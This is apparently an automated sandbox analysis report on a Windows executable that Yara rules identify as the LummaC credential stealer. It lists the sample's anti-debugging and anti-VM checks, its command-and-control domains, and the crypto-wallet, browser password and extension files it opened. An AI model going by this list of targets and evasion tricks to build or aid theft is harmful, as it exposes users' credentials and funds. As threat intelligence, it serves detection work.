Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40A9A second address: 4A40ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov ax, di 0x0000000f push ebx 0x00000010 pop edi 0x00000011 popad 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF01CF9131Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40ABB second address: 4A40AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40AC1 second address: 4A40B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF08EE9EC04h 0x0000000e jmp 00007FF01CF91327h 0x00000013 cmp dword ptr [769B459Ch], 05h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007FF01CF9131Bh 0x00000022 pop ecx 0x00000023 jmp 00007FF01CF91329h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40B16 second address: 4A40B91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF08E731BE2h 0x0000000f jmp 00007FF01C80C27Eh 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FF01C80C27Eh 0x0000001c add ax, 85C8h 0x00000021 jmp 00007FF01C80C27Bh 0x00000026 popfd 0x00000027 mov bh, al 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 pushfd 0x00000031 jmp 00007FF01C80C27Dh 0x00000036 add esi, 552DFEE6h 0x0000003c jmp 00007FF01C80C281h 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40B91 second address: 4A40B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40B97 second address: 4A40B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40B9B second address: 4A40BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40BAA second address: 4A40BB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40BB0 second address: 4A40BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40BB6 second address: 4A40BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40C2C second address: 4A40C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\dEugughckk.exe	Special instruction interceptor: First address: 1288F1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\dEugughckk.exe	Special instruction interceptor: First address: 35B4E4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\dEugughckk.exe	Special instruction interceptor: First address: 2CE4FB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\dEugughckk.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\dEugughckk.exe TID: 2496	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe TID: 2496	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\dEugughckk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000002.2345090084.00000000002AF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: dEugughckk.exe, 00000000.00000002.2345745461.0000000000B47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: dEugughckk.exe, dEugughckk.exe, 00000000.00000003.2344601578.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2345940306.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269879267.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: dEugughckk.exe, 00000000.00000003.2242872970.0000000005381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: dEugughckk.exe, 00000000.00000003.2344601578.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2345940306.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269879267.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: dEugughckk.exe, 00000000.00000002.2345090084.00000000002AF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: dEugughckk.exe, 00000000.00000003.2220204097.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\dEugughckk.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\dEugughckk.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\dEugughckk.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\dEugughckk.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: NTICE
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: SICE
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\dEugughckk.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: hummskitnj.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: appliacnesot.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: screwamusresz.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: inherineau.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scentniej.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rebuildeso.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: prisonyfork.buzz
Source: dEugughckk.exe, 00000000.00000002.2344911831.00000000000D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: mindhandru.buzz

Source: dEugughckk.exe, 00000000.00000002.2345090084.00000000002AF000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\dEugughckk.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\dEugughckk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: dEugughckk.exe, 00000000.00000003.2296112010.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\dEugughckk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: dEugughckk.exe PID: 6220, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: dEugughckk.exe, 00000000.00000003.2269879267.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: dEugughckk.exe, 00000000.00000002.2345940306.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: dEugughckk.exe, 00000000.00000003.2269879267.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: dEugughckk.exe, 00000000.00000002.2345940306.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: dEugughckk.exe, 00000000.00000003.2269879267.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: dEugughckk.exe, 00000000.00000003.2269879267.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: dEugughckk.exe, 00000000.00000002.2345940306.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: dEugughckk.exe, 00000000.00000003.2269865312.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: dEugughckk.exe, 00000000.00000003.2269865312.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
